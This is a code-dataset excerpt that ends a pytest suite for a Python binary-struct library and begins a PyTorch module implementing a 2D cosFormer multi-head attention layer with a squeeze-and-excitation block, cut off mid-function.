assert sizeof(clone) == 5\n assert type_name(clone) == 'SomeStruct'\n assert tuple(i for i in clone) == ('field1', 'field2', 'field3')\n assert offsetof(clone, 'field3') == 3\n assert 'field4' not in clone\n assert bytes(data) == b'\\x00\\x00\\x00\\x00\\x00'\n\n\ndef test_init_zero() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n class Size(Struct):\n width: UInt8\n height: UInt8\n\n class Rect(Struct):\n pos: Pos\n size: Size\n\n rect = Rect(0)\n assert rect.pos.x == 0\n assert rect.pos.y == 0\n assert rect.size.height == 0\n assert rect.size.width == 0\n\n assert bytes(rect) == b'\\x00\\x00\\x00\\x00\\x00\\x00'\n\n\ndef test_init_tuple() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n pos = Pos((1, 2))\n assert pos.x == 1\n assert pos.y == 2\n\n\ndef test_init_bytes() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n pos = Pos(b'\\x11\\x22\\x33\\x44')\n assert pos.x == 0x2211\n assert pos.y == 0x4433\n\n\ndef test_init_struct() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n pos = Pos(Pos((0x1122, 0x3344)))\n assert pos.x == 0x1122\n assert pos.y == 0x3344\n\n\ndef test_init_bad_type() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n with raises(TypeError):\n Pos('bad value') # type: ignore\n\n\ndef test_unitialized_member_access() -> None:\n class SomeStruct(Struct):\n field1: UInt16\n field2: UInt16\n\n inst = SomeStruct()\n assert inst.field2 == 0\n\n\ndef test_unitialized_member_assignment() -> None:\n class SomeStruct(Struct):\n field1: UInt16\n field2: UInt16\n\n inst = SomeStruct()\n inst.field2 = 0x1122\n assert bytes(inst) == b'\\x00\\x00\\x22\\x11'\n\n\ndef test_unitialized_convert_to_bytes() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n inst = Pos()\n assert bytes(inst) == b'\\x00\\x00\\x00\\x00'\n\n\ndef test_unitialized_substruct_change() -> None:\n class Child(Struct):\n field: UInt8\n\n class Parent(Struct):\n child: Child\n\n inst = Parent()\n inst.child = (0x12, )\n assert bytes(inst) == b'\\x12'\n\n\ndef test_int_member_assignment() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n class Size(Struct):\n width: UInt8\n height: UInt8\n\n class Rect(Struct):\n pos: Pos\n size: Size\n\n rect = Rect(0)\n rect.pos.y = 0x1234\n rect.size.width = 0x56\n assert rect.pos.x == 0\n assert rect.pos.y == 0x1234\n assert rect.size.height == 0\n assert rect.size.width == 0x56\n\n assert bytes(rect) == b'\\x00\\x00\\x34\\x12\\x56\\x00'\n\n\ndef test_substruct_member_assignment() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n class Size(Struct):\n width: UInt8\n height: UInt8\n\n class Rect(Struct):\n pos: Pos\n size: Size\n\n rect1 = Rect(0)\n rect2 = Rect(0)\n rect1.pos.x = 0x0123\n rect1.pos.y = b'\\x67\\x45'\n rect1.size.width = UInt8(0x11)\n rect1.size.height = 0x22\n rect2.pos.x = 0x89AB\n rect2.pos.y = 0xCDEF\n rect2.size.width = 0x33\n rect2.size.height = 0x44\n\n assert bytes(rect1) == b'\\x23\\x01\\x67\\x45\\x11\\x22'\n assert bytes(rect2) == b'\\xAB\\x89\\xEF\\xCD\\x33\\x44'\n\n\ndef test_substruct_assignment() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n class Rect(Struct):\n point1: Pos\n point2: Pos\n\n rect = Rect((Pos((0, 0)), Pos((0, 0))))\n point2_ref = rect.point2\n\n rect.point1 = Pos((0x0123, 0x4567))\n rect.point2 = b'\\x89\\xab\\xcd\\xef'\n\n # pylint: disable=no-member\n\n assert rect.point1.x == 0x0123\n assert rect.point1.y == 0x4567\n assert point2_ref.x == 0xab89\n assert point2_ref.y == 0xefcd\n\n rect.point2 = (0x1122, 0x3344)\n assert point2_ref.x == 0x1122\n assert point2_ref.y == 0x3344\n\n rect.point2 = 0\n assert point2_ref.x == 0\n assert point2_ref.y == 0\n\n with raises(TypeError):\n rect.point2 = 'bad value' # type: ignore\n\n\ndef test_multilevel_assignment() -> None:\n class Child(Struct):\n a: UInt8\n b: UInt8\n\n class Intermediate(Struct):\n child1: Child\n child2: Child\n\n class Parent(Struct):\n field1: Intermediate\n field2: Intermediate\n\n inst = Parent(b'\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77')\n child1_2 = inst.field1.child2 # pylint: disable=no-member\n inst.field1 = (Child((1, 2)), Child((3, 4)))\n\n assert child1_2.a == 3\n assert child1_2.b == 4\n\n\ndef test_padding_annotation() -> None:\n class SomeStruct(Struct):\n _pad1: Padding[Literal[2]]\n field1: UInt8\n field2: UInt16\n _pad2: Padding[Literal[1]]\n _pad3: Padding[Literal[1]]\n field3: UInt16\n _pad4: Padding[Literal[2]]\n\n assert sizeof(SomeStruct) == 11\n assert offsetof(SomeStruct, 'field1') == 2\n assert offsetof(SomeStruct, 'field2') == 3\n assert offsetof(SomeStruct, 'field3') == 7\n\n data = SomeStruct((0x12, 0x3456, 0x789a))\n assert bytes(data) == b'\\x00\\x00\\x12\\x56\\x34\\x00\\x00\\x9a\\x78\\x00\\x00'\n\n\ndef test_padding_classvar() -> None:\n class SomeStruct(Struct):\n _pad1 = Padding(2)\n field1 = UInt8()\n field2 = UInt16()\n _pad2 = Padding(1)\n _pad3 = Padding(1)\n field3 = UInt16()\n _pad4 = Padding(2)\n\n assert sizeof(SomeStruct) == 11\n assert offsetof(SomeStruct, 'field1') == 2\n assert offsetof(SomeStruct, 'field2') == 3\n assert offsetof(SomeStruct, 'field3') == 7\n\n data = SomeStruct((0x12, 0x3456, 0x789a))\n assert bytes(data) == b'\\x00\\x00\\x12\\x56\\x34\\x00\\x00\\x9a\\x78\\x00\\x00'\n\n\ndef test_shifted_annotation() -> None:\n class SomeStruct(Struct):\n field1: Annotated[UInt8, Shift(1)]\n field2: UInt16\n field3: Annotated[UInt16, Shift(3)]\n\n assert sizeof(SomeStruct) == 9\n assert sizeof(SomeStruct.field1) == 1\n assert sizeof(SomeStruct.field2) == 2\n assert sizeof(SomeStruct.field3) == 2\n assert offsetof(SomeStruct, 'field1') == 1\n assert offsetof(SomeStruct, 'field2') == 2\n assert offsetof(SomeStruct, 'field3') == 7\n\n data = SomeStruct((0x12, 0x3456, 0x789a))\n assert bytes(data) == b'\\x00\\x12\\x56\\x34\\x00\\x00\\x00\\x9a\\x78'\n\n\ndef test_shifted_classvar() -> None:\n class SomeStruct(Struct):\n field1 = shifted(UInt8, 1)\n field2 = UInt16()\n field3 = shifted(UInt16, 3)\n\n assert sizeof(SomeStruct) == 9\n assert sizeof(SomeStruct.field1) == 1\n assert sizeof(SomeStruct.field2) == 2\n assert sizeof(SomeStruct.field3) == 2\n assert offsetof(SomeStruct, 'field1') == 1\n assert offsetof(SomeStruct, 'field2') == 2\n assert offsetof(SomeStruct, 'field3') == 7\n\n data = SomeStruct((0x12, 0x3456, 0x789a))\n assert bytes(data) == b'\\x00\\x12\\x56\\x34\\x00\\x00\\x00\\x9a\\x78'\n\n\ndef test_padded_annotation() -> None:\n class SomeStruct(Struct):\n field1: Annotated[UInt8, Padding(2)]\n field2: UInt16\n field3: Annotated[UInt16, Padding(3)]\n\n assert sizeof(SomeStruct) == 10\n assert sizeof(SomeStruct.field1) == 1\n assert sizeof(SomeStruct.field2) == 2\n assert sizeof(SomeStruct.field3) == 2\n assert offsetof(SomeStruct, 'field1') == 0\n assert offsetof(SomeStruct, 'field2') == 3\n assert offsetof(SomeStruct, 'field3') == 5\n\n data = SomeStruct((0x12, 0x3456, 0x789a))\n assert bytes(data) == b'\\x12\\x00\\x00\\x56\\x34\\x9a\\x78\\x00\\x00\\x00'\n\n\ndef test_padded_classvar() -> None:\n class SomeStruct(Struct):\n field1 = padded(UInt8, 2)\n field2 = UInt16()\n field3 = padded(UInt16, 3)\n\n assert sizeof(SomeStruct) == 10\n assert sizeof(SomeStruct.field1) == 1\n assert sizeof(SomeStruct.field2) == 2\n assert sizeof(SomeStruct.field3) == 2\n assert offsetof(SomeStruct, 'field1') == 0\n assert offsetof(SomeStruct, 'field2') == 3\n assert offsetof(SomeStruct, 'field3') == 5\n\n data = SomeStruct((0x12, 0x3456, 0x789a))\n assert bytes(data) == b'\\x12\\x00\\x00\\x56\\x34\\x9a\\x78\\x00\\x00\\x00'\n\n\ndef test_modifiers_annotation() -> None:\n class SomeStruct(Struct):\n field1: Annotated[UInt8, Padding(2), Shift(2)]\n _pad: Padding[Literal[1]]\n field2: Annotated[UInt16, Shift(1), Padding(1)]\n field3: UInt16\n\n assert sizeof(SomeStruct) == 12\n assert sizeof(SomeStruct.field1) == 1\n assert sizeof(SomeStruct.field2) == 2\n assert sizeof(SomeStruct.field3) == 2\n assert offsetof(SomeStruct, 'field1') == 2\n assert offsetof(SomeStruct, 'field2') == 7\n assert offsetof(SomeStruct, 'field3') == 10\n\n data = SomeStruct((0x12, 0x3456, 0x789a))\n assert bytes(data) == b'\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x56\\x34\\x00\\x9a\\x78'\n\n\ndef test_modifiers_classvar() -> None:\n class SomeStruct(Struct):\n field1 = padded(shifted(UInt8, 2), 2)\n _pad = Padding(1)\n field2 = shifted(padded(UInt16, 1), 1)\n field3 = UInt16()\n\n assert sizeof(SomeStruct) == 12\n assert sizeof(SomeStruct.field1) == 1\n assert sizeof(SomeStruct.field2) == 2\n assert sizeof(SomeStruct.field3) == 2\n assert offsetof(SomeStruct, 'field1') == 2\n assert offsetof(SomeStruct, 'field2') == 7\n assert offsetof(SomeStruct, 'field3') == 10\n\n data = SomeStruct((0x12, 0x3456, 0x789a))\n assert bytes(data) == b'\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x56\\x34\\x00\\x9a\\x78'\n\n\ndef test_type_as_container() -> None:\n class SomeStruct(Struct):\n fieldA: UInt16\n fieldC: UInt8\n fieldB: UInt16\n\n assert tuple(SomeStruct) == ('fieldA', 'fieldC', 'fieldB')\n assert len(SomeStruct) == 3\n assert ('fieldB' in SomeStruct) is True\n assert ('fieldZ' in SomeStruct) is False\n\n\ndef test_value_as_container() -> None:\n class SomeStruct(Struct):\n fieldA: UInt16\n fieldC: UInt8\n fieldB: UInt16\n\n data = SomeStruct(0)\n assert tuple(data) == ('fieldA', 'fieldC', 'fieldB')\n assert len(data) == 3\n assert ('fieldB' in data) is True\n assert ('fieldZ' in data) is False\n\n\ndef test_eq() -> None:\n class StructA(Struct):\n field1: UInt8\n field2: UInt16\n\n class StructB(Struct):\n field1: UInt16\n field2: UInt8\n\n class StructC(Struct):\n field2: UInt16\n field1: UInt8\n\n class StructD(Struct):\n field1: UInt8\n field2: UInt16\n field3: UInt16\n\n uint16_clone = clone_type(UInt16, name='UInt')\n\n class StructE(Struct):\n field1 = UInt8()\n field2 = uint16_clone()\n\n assert StructA == StructA # pylint: disable=comparison-with-itself\n assert StructA != StructB\n assert StructA != StructC\n assert StructA != StructD\n assert StructA == StructE\n assert StructB != StructC\n\n assert StructA != UInt8\n assert StructA != Struct\n assert StructA != type\n\n\ndef test_typechecks_meta() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n pos = Pos(0)\n\n assert not isinstance(Struct, Struct)\n assert issubclass(Struct, Struct)\n\n assert not isinstance(Pos, Struct)\n assert issubclass(Pos, Struct)\n\n assert isinstance(pos, Struct)\n with raises(TypeError):\n issubclass(pos, Struct) # type: ignore\n\n assert not isinstance(b'string', Struct)\n with raises(TypeError):\n issubclass(b'string', Struct) # type: ignore\n\n\ndef test_typechecks_type() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n pos = Pos(0)\n\n assert not isinstance(Struct, Pos)\n assert not issubclass(Struct, Pos)\n\n assert not isinstance(Pos, Pos)\n assert issubclass(Pos, Pos)\n\n assert isinstance(pos, Pos)\n with raises(TypeError):\n issubclass(pos, Pos) # type: ignore\n\n assert not isinstance(b'string', Pos)\n with raises(TypeError):\n issubclass(b'string', Pos) # type: ignore\n\n\ndef test_typechecks_type_another() -> None:\n class Pos1(Struct):\n x: UInt16\n y: UInt16\n\n class Pos2(Struct):\n x: UInt8\n y: UInt8\n\n pos1 = Pos1(0)\n\n assert not isinstance(Pos1, Pos2)\n assert not issubclass(Pos1, Pos2)\n\n assert not isinstance(pos1, Pos2)\n with raises(TypeError):\n issubclass(pos1, Pos2) # type: ignore\n","repo_name":"ermishechkin/typc","sub_path":"tests/test_struct.py","file_name":"test_struct.py","file_ext":"py","file_size_in_byte":16136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30382810927","text":"import math\r\nimport numpy as np\r\nfrom typing import Dict, Optional, Tuple\r\n\r\nimport torch\r\nimport torch.nn.functional as F\r\nfrom fairseq import utils\r\nfrom fairseq.incremental_decoding_utils import with_incremental_state\r\nfrom fairseq.modules.fairseq_dropout import FairseqDropout\r\nfrom fairseq.modules.quant_noise import quant_noise\r\nfrom torch import Tensor, nn\r\nfrom torch.nn import Parameter\r\nfrom fairseq.modules import LayerNormSuper\r\nfrom torch.nn.modules.module import _addindent\r\n\r\nfrom fairseq import utils\r\nimport fairseq.init as init\r\n\r\nfrom .linear_super import LinearSuper, Linear\r\nfrom .conv_super import Conv2dSuper\r\nfrom fast_transformers.attention.causal_linear_attention import causal_linear\r\n\r\n\r\n# cosformer\r\n@with_incremental_state\r\nclass MultiheadCosformerAttention2dSuper(nn.Module):\r\n \"\"\"Multi-headed attention.\r\n\r\n See \"Attention Is All You Need\" for more details.\r\n \"\"\"\r\n\r\n def __init__(self, embed_dim, num_heads, is_encoder, kdim=None, vdim=None, dropout=0., bias=True,\r\n add_bias_kv=False, add_zero_attn=False, self_attention=False,\r\n encoder_decoder_attention=False, out_dim=None, qkv_dim=None, is_fixed=False,\r\n causal=False, seq_len=4096,\r\n dropout_rate=0.0,use_sum=True, sr_ratio=2, fr_ratio=1, linear=False, se_reduction=2): # add\r\n super().__init__()\r\n\r\n # the configs of super arch\r\n self.super_q_embed_dim = embed_dim\r\n self.super_kv_embed_dim = None\r\n self.fixed = is_fixed\r\n self.fr = fr_ratio\r\n self.sr_ratio = sr_ratio\r\n # the configs of current sampled arch\r\n self.sample_q_embed_dim = None\r\n self.sample_kv_embed_dim = None\r\n self.linear = linear\r\n self.dropout_rate = dropout_rate\r\n\r\n if not linear:\r\n if sr_ratio > 1:\r\n self.sr = Conv2dSuper(embed_dim, embed_dim, kernel_size=sr_ratio, stride=sr_ratio)\r\n self.norm = LayerNormSuper(embed_dim)\r\n else:\r\n self.pool = nn.AdaptiveAvgPool2d(7)\r\n self.sr = Conv2dSuper(embed_dim, embed_dim, kernel_size=1, stride=1)\r\n self.norm = LayerNormSuper(embed_dim)\r\n self.act = nn.GELU()\r\n\r\n self.apply(self._init_weights)\r\n\r\n if kdim is not None:\r\n assert kdim == vdim\r\n self.super_kv_embed_dim = kdim\r\n else:\r\n self.super_kv_embed_dim = self.super_q_embed_dim\r\n\r\n if qkv_dim is None:\r\n self.qkv_dim = self.super_q_embed_dim\r\n else:\r\n self.qkv_dim = qkv_dim\r\n\r\n # this qkv same dim means the input dim for qkv are the same, not the output dim\r\n # self.qkv_same_dim = self.kdim == self.super_embed_dim and self.vdim == self.super_embed_dim\r\n self.qkv_same_dim = self.super_kv_embed_dim == self.super_q_embed_dim\r\n self.encoder = is_encoder\r\n\r\n # Caution! these actually are the sampled num_heads, head_dim and scaling\r\n self.num_heads = num_heads\r\n self.dropout = dropout\r\n self.head_dim = self.qkv_dim // num_heads\r\n assert self.head_dim * num_heads == self.qkv_dim, \"qkv must be divisible by num_heads\"\r\n self.scaling = self.head_dim ** -0.5\r\n\r\n self.self_attention = self_attention\r\n self.encoder_decoder_attention = encoder_decoder_attention\r\n\r\n assert not self.self_attention or self.qkv_same_dim, 'Self-attention requires query, key and ' \\\r\n 'value to be of the same size'\r\n\r\n if self.qkv_same_dim:\r\n self.in_proj_weight = Parameter(torch.Tensor(3 * self.qkv_dim, self.super_q_embed_dim))\r\n else:\r\n self.k_proj_weight = Parameter(torch.Tensor(self.qkv_dim, self.super_kv_embed_dim))\r\n self.v_proj_weight = Parameter(torch.Tensor(self.qkv_dim, self.super_kv_embed_dim))\r\n self.q_proj_weight = Parameter(torch.Tensor(self.qkv_dim, self.super_q_embed_dim))\r\n\r\n if bias:\r\n self.in_proj_bias = Parameter(torch.Tensor(3 * self.qkv_dim))\r\n else:\r\n self.register_parameter('in_proj_bias', None)\r\n\r\n if out_dim is None:\r\n out_dim = self.super_q_embed_dim\r\n\r\n if not is_fixed:\r\n self.out_proj = LinearSuper(super_in_dim=self.qkv_dim, super_out_dim=out_dim, bias=bias)\r\n else:\r\n self.out_proj = Linear(self.qkv_dim, out_dim, bias=bias)\r\n\r\n if add_bias_kv:\r\n self.bias_k = Parameter(torch.Tensor(1, 1, self.super_q_embed_dim))\r\n self.bias_v = Parameter(torch.Tensor(1, 1, self.super_q_embed_dim))\r\n else:\r\n self.bias_k = self.bias_v = None\r\n\r\n self.add_zero_attn = add_zero_attn\r\n\r\n # add begin\r\n # causal\r\n self.causal = causal\r\n # weight index\r\n #self.weight_index = self.get_index(seq_len)\r\n # add end\r\n self.use_sum = use_sum\r\n if self.use_sum:\r\n print('using 2d cosformer!', 'use sum')\r\n print('linear:', linear, 'sr_ratio:', sr_ratio, 'fr_ratio:', fr_ratio, 'se_ratio:', se_reduction)\r\n else:\r\n print('using 2d cosformer!', 'use peoduction')\r\n print('linear:', linear, 'sr_ratio:', sr_ratio, 'fr_ratio:', fr_ratio, 'se_ratio:', se_reduction)\r\n self.reset_parameters()\r\n ### se block\r\n self.reduction = se_reduction\r\n self.se_pool = nn.AdaptiveAvgPool1d(1)\r\n self.se_fc1 = LinearSuper(super_in_dim=embed_dim, super_out_dim=embed_dim // self.reduction, bias=False)\r\n self.se_relu = nn.ReLU(inplace=True)\r\n self.se_fc2 = LinearSuper(super_in_dim=embed_dim // self.reduction, super_out_dim=embed_dim, bias=False)\r\n self.se_sigmoid = nn.Sigmoid()\r\n # self.se_fc = nn.Sequential(\r\n # nn.Linear(embed_dim, embed_dim // reduction, bias=False),\r\n # nn.ReLU(inplace=True),\r\n # nn.Linear(embed_dim // reduction, embed_dim, bias=False),\r\n # nn.Sigmoid()\r\n # )\r\n\r\n self.clip = True\r\n\r\n self.onnx_trace = False\r\n\r\n self.enable_torch_version = False\r\n if hasattr(F, \"multi_head_attention_forward\"):\r\n self.enable_torch_version = True\r\n else:\r\n self.enable_torch_version = False\r\n self.enable_torch_version = False\r\n\r\n def _init_weights(self, m):\r\n if isinstance(m, nn.Linear):\r\n trunc_normal_(m.weight, std=.02)\r\n if isinstance(m, nn.Linear) and m.bias is not None:\r\n nn.init.constant_(m.bias, 0)\r\n elif isinstance(m, nn.LayerNorm):\r\n nn.init.constant_(m.bias, 0)\r\n nn.init.constant_(m.weight, 1.0)\r\n elif isinstance(m, nn.Conv2d):\r\n fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\r\n fan_out //= m.groups\r\n m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))\r\n if m.bias is not None:\r\n m.bias.data.zero_()\r\n\r\n # add begin\r\n def get_index(self, m, n):\r\n \"\"\"\r\n m = width, n = highth\r\n \"\"\"\r\n c = np.pi / 2\r\n seq_len = m * n\r\n index = torch.arange(seq_len).reshape(1, -1, 1, 1)\r\n a = c * (index // m) / n\r\n b = c * (index % m) / m\r\n # a = a.half()\r\n # b = b.half()\r\n\r\n seq_len = (m/self.sr_ratio) * (n/self.sr_ratio)\r\n index = torch.arange(seq_len).reshape(1, -1, 1, 1)\r\n a_sr = c * (index // (m/self.sr_ratio) ) / (n/self.sr_ratio)\r\n b_sr = c * (index % (m/self.sr_ratio)) / (m/self.sr_ratio)\r\n\r\n return nn.Parameter(a, requires_grad=False), nn.Parameter(b, requires_grad=False), \\\r\n nn.Parameter(a_sr, requires_grad=False), nn.Parameter(b_sr, requires_grad=False)\r\n\r\n def abs_clamp(self, t):\r\n min_mag = 1e-4\r\n max_mag = 10000\r\n sign = t.sign()\r\n return t.abs_().clamp_(min_mag, max_mag)*sign\r\n\r\n def calc_sampled_param_num(self):\r\n assert self.in_proj_weight is not None and self.in_proj_bias is not None\r\n\r\n in_proj_q_weight_numel = self.sample_q_embed_dim * self.sample_embed_dim\r\n in_proj_v_weight_numel = in_proj_k_weight_numel = self.sample_kv_embed_dim * self.sample_embed_dim\r\n in_proj_bias_numel = self.in_proj_bias.numel()\r\n # does not count in the output proj because it will be counted in LinearSuper layer\r\n # out_proj_weight_numel = self.qkv_dim * self.sample_q_embed_dim\r\n # out_proj_bias_numel = self.\r\n\r\n return in_proj_q_weight_numel + in_proj_k_weight_numel + in_proj_v_weight_numel + in_proj_bias_numel + sr_numel\r\n\r\n def set_sample_config(self, sample_embed_dim, sample_q_embed_dim, sample_attention_heads, sample_kv_embed_dim=None):\r\n self.sample_embed_dim = sample_embed_dim\r\n self.sample_q_embed_dim = sample_q_embed_dim\r\n if sample_kv_embed_dim is None:\r\n self.sample_kv_embed_dim = sample_q_embed_dim\r\n else:\r\n self.sample_kv_embed_dim = sample_kv_embed_dim\r\n\r\n self.num_heads = sample_attention_heads\r\n self.head_dim = self.sample_q_embed_dim // self.num_heads\r\n assert self.head_dim * self.num_heads == self.sample_q_embed_dim, \"qkv_dim must be divisible by sampled num_heads\"\r\n self.scaling = self.head_dim ** -0.5\r\n\r\n if not self.fixed:\r\n self.out_proj.set_sample_config(sample_in_dim=sample_q_embed_dim, sample_out_dim=self.sample_embed_dim)\r\n\r\n self.sr.set_sample_config(sample_in_dim=sample_embed_dim, sample_out_dim=self.sample_embed_dim)\r\n self.norm.set_sample_config(\r\n sample_embed_dim=self.sample_embed_dim)\r\n self.se_fc1.set_sample_config(sample_in_dim=sample_embed_dim, sample_out_dim=self.sample_embed_dim // self.reduction)\r\n\r\n self.se_fc2.set_sample_config(sample_in_dim=sample_embed_dim // self.reduction,\r\n sample_out_dim=self.sample_embed_dim)\r\n def prepare_for_onnx_export_(self):\r\n self.onnx_trace = True\r\n\r\n def reset_parameters(self):\r\n if self.qkv_same_dim:\r\n nn.init.xavier_uniform_(self.in_proj_weight)\r\n else:\r\n nn.init.xavier_uniform_(self.k_proj_weight)\r\n nn.init.xavier_uniform_(self.v_proj_weight)\r\n nn.init.xavier_uniform_(self.q_proj_weight)\r\n\r\n nn.init.xavier_uniform_(self.out_proj.weight)\r\n if self.in_proj_bias is not None:\r\n nn.init.constant_(self.in_proj_bias, 0.)\r\n nn.init.constant_(self.out_proj.bias, 0.)\r\n if self.bias_k is not None:\r\n nn.init.xavier_normal_(self.bias_k)\r\n if self.bias_v is not None:\r\n nn.init.xavier_normal_(self.bias_v)\r\n\r\n def forward(self, query, H, W, key, value, key_padding_mask=None, incremental_state=None,\r\n need_weights=True, static_kv=False, attn_mask=None):\r\n \"\"\"Input shape: Time x Batch x Channel\r\n\r\n Timesteps can be masked by supplying a T x T mask in the\r\n `attn_mask` argument. Padding elements can be excluded from\r\n the key by passing a binary ByteTensor (`key_padding_mask`) with shape:\r\n batch x src_len, where padding elements are indicated by 1s.\r\n \"\"\"\r\n # print('super!!!!!!!!!!!!!!!!!')\r\n # num_heads = self.num_heads\r\n query = query.permute(1, 0, 2)\r\n num_heads = self.num_heads\r\n B, N, C = query.shape\r\n query_se = query.permute(0, 2, 1)\r\n query_se = self.se_pool(query_se).view(B, C)\r\n query_se = self.se_fc1(query_se)\r\n query_se = self.se_relu(query_se)\r\n query_se = self.se_fc2(query_se)\r\n query_se = self.se_sigmoid(query_se).view(B, C, 1)\r\n # query_se = self.se_fc(query_se).view(B, C, 1)\r\n\r\n if not self.linear:\r\n if self.sr_ratio > 1:\r\n x_ = query.permute(0, 2, 1).reshape(B, C, H, W)\r\n x_ = self.sr(x_).reshape(B, C, -1).permute(0, 2, 1)\r\n x_ = self.norm(x_)\r\n x_ = x_.permute(1, 0, 2)\r\n k = self.in_proj_k(x_)\r\n v = self.in_proj_v(x_)\r\n else:\r\n k = self.in_proj_k(query.permute(1, 0, 2))\r\n v = self.in_proj_v(query.permute(1, 0, 2))\r\n\r\n else:\r\n x_ = query.permute(0, 2, 1).reshape(B, C, H, W)\r\n x_ = self.sr(self.pool(x_)).reshape(B, C, -1).permute(0, 2, 1)\r\n x_ = self.norm(x_)\r\n x_ = self.act(x_)\r\n k = self.in_proj_k(x_.permute(1, 0, 2))\r\n v = self.in_proj_v(x_.permute(1, 0, 2))\r\n\r\n k = k.permute(1, 0, 2)\r\n v = v.permute(1, 0, 2)\r\n query = query.permute(1, 0, 2)\r\n q = self.in_proj_q(query)\r\n tgt_len, bsz, embed_dim = query.size()\r\n head_dim = self.head_dim\r\n\r\n src_len = key.size(0)\r\n # head_dim = embed_dim // num_heads\r\n\r\n if incremental_state is not None:\r\n saved_state = self._get_input_buffer(incremental_state)\r\n if 'prev_key' in saved_state:\r\n # previous time steps are cached - no need to recompute\r\n # key and value if they are static\r\n if static_kv:\r\n assert self.encoder_decoder_attention and not self.self_attention\r\n key = value = None\r\n else:\r\n saved_state = None\r\n\r\n # q *= self.scaling\r\n\r\n if self.bias_k is not None:\r\n assert self.bias_v is not None\r\n k = torch.cat([k, self.bias_k.repeat(1, bsz, 1)])\r\n v = torch.cat([v, self.bias_v.repeat(1, bsz, 1)])\r\n if attn_mask is not None:\r\n attn_mask = torch.cat([attn_mask, attn_mask.new_zeros(attn_mask.size(0), 1)], dim=1)\r\n if key_padding_mask is not None:\r\n key_padding_mask = torch.cat(\r\n [key_padding_mask, key_padding_mask.new_zeros(key_padding_mask.size(0), 1)], dim=1)\r\n\r\n # multihead\r\n # (N, L, h, d)\r\n # print(q.shape)\r\n\r\n q = q.contiguous().view(tgt_len, bsz, num_heads, head_dim // self.fr).transpose(0, 1)\r\n # (N, S, h, d)\r\n k = k.contiguous().view(-1, bsz, num_heads, head_dim // self.fr).transpose(0, 1)\r\n # (N, S, h, d)\r\n v = v.contiguous().view(-1, bsz, num_heads, head_dim // self.fr).transpose(0, 1)\r\n\r\n # relu\r\n q = F.relu(q)\r\n k = F.relu(k)\r\n\r\n a, b, a_sr, b_sr = self.get_index(W, H)\r\n a = a.to(q)\r\n b = b.to(q)\r\n a_sr = a_sr.to(q)\r\n b_sr = b_sr.to(q)\r\n\r\n if self.use_sum:\r\n # sum\r\n q_ = torch.cat([q * torch.cos(a), \\\r\n q * torch.sin(a), \\\r\n q * torch.cos(b), \\\r\n q * torch.sin(b)], \\\r\n dim=-1)\r\n # (N, S, h, 2 * d)\r\n k_ = torch.cat([k * torch.cos(a_sr), \\\r\n k * torch.sin(a_sr), \\\r\n k * torch.cos(b_sr), \\\r\n k * torch.sin(b_sr)], \\\r\n dim=-1)\r\n #print('q_k_:', q_.dtype, k_.dtype)\r\n else:\r\n q_ = torch.cat([q * torch.cos(a) * torch.cos(b), \\\r\n q * torch.cos(a) * torch.sin(b), \\\r\n q * torch.sin(a) * torch.cos(b), \\\r\n q * torch.sin(a) * torch.sin(b)], \\\r\n dim=-1)\r\n # (N, S, h, 4 * d)\r\n k_ = torch.cat([k * torch.cos(a_sr) * torch.cos(b_sr), \\\r\n k * torch.cos(a_sr) * torch.sin(b_sr), \\\r\n k * torch.sin(a_sr) * torch.cos(b_sr), \\\r\n k * torch.sin(a_sr) * torch.sin(b_sr)], \\\r\n dim=-1)\r\n eps = 1e-4\r\n kv_ = torch.matmul(k_.permute(0, 2, 3, 1), v.permute(0, 2, 1, 3)) # no einsum\r\n if self.clip:\r\n kv_ = self.abs_clamp(kv_)\r\n # ---------------------------------------------------------------------------------\r\n\r\n # --------------------------------------------------------------------------------\r\n k_sum = torch.sum(k_, axis=1, keepdim=True) # no einsum\r\n z_ = 1 / (torch.sum(torch.mul(q_, k_sum), axis=-1) + eps) # no einsum\r\n if self.clip:\r\n z_ = self.abs_clamp(z_)\r\n # --------------------------------------------------------------------------------\r\n\r\n # no einsum---------------------------------------------------------------------\r\n attn_output = torch.matmul(q_.transpose(1, 2), kv_).transpose(1, 2)\r\n if self.clip:\r\n attn_output = self.abs_clamp(attn_output)\r\n # print('attn_output ', attn_output.shape)\r\n # nlhm,nlh -> nlhm\r\n attn_output = torch.mul(attn_output, z_.unsqueeze(-1))\r\n if self.clip:\r\n attn_output = self.abs_clamp(attn_output)\r\n # --------------------------------------------------------------------------------\r\n # (N, L, h, d) -> (L, N, h, d) -> (L, N, E)\r\n attn_output = attn_output.transpose(0, 1).contiguous().view(tgt_len, bsz, self.sample_q_embed_dim // self.fr)\r\n\r\n attn_output = self.out_proj(attn_output)\r\n if self.clip:\r\n attn_output = self.abs_clamp(attn_output)\r\n\r\n # ------------------------------------- se block\r\n attn_output = attn_output.permute(1, 2, 0)\r\n attn_output = attn_output + attn_output * query_se.expand_as(attn_output)\r\n if self.clip:\r\n attn_output = self.abs_clamp(attn_output)\r\n attn_output = attn_output.permute(2, 0, 1)\r\n # -------------------------------------------------\r\n\r\n # attn_output = attn_output.permute(1, 0, 2)\r\n\r\n attn_weights = None\r\n\r\n return attn_output, attn_weights\r\n\r\n def in_proj_qkv(self, query):\r\n return self._in_proj(query, sample_dim=self.sample_embed_dim, end=self.sample_q_embed_dim*3).chunk(3, dim=-1)\r\n\r\n def in_proj_q(self, query):\r\n if self.qkv_same_dim:\r\n return self._in_proj(query, end=self.sample_q_embed_dim, sample_dim=self.sample_embed_dim)\r\n else:\r\n bias = self.in_proj_bias\r\n if bias is not None:\r\n bias = bias[:self.qkv_dim]\r\n return 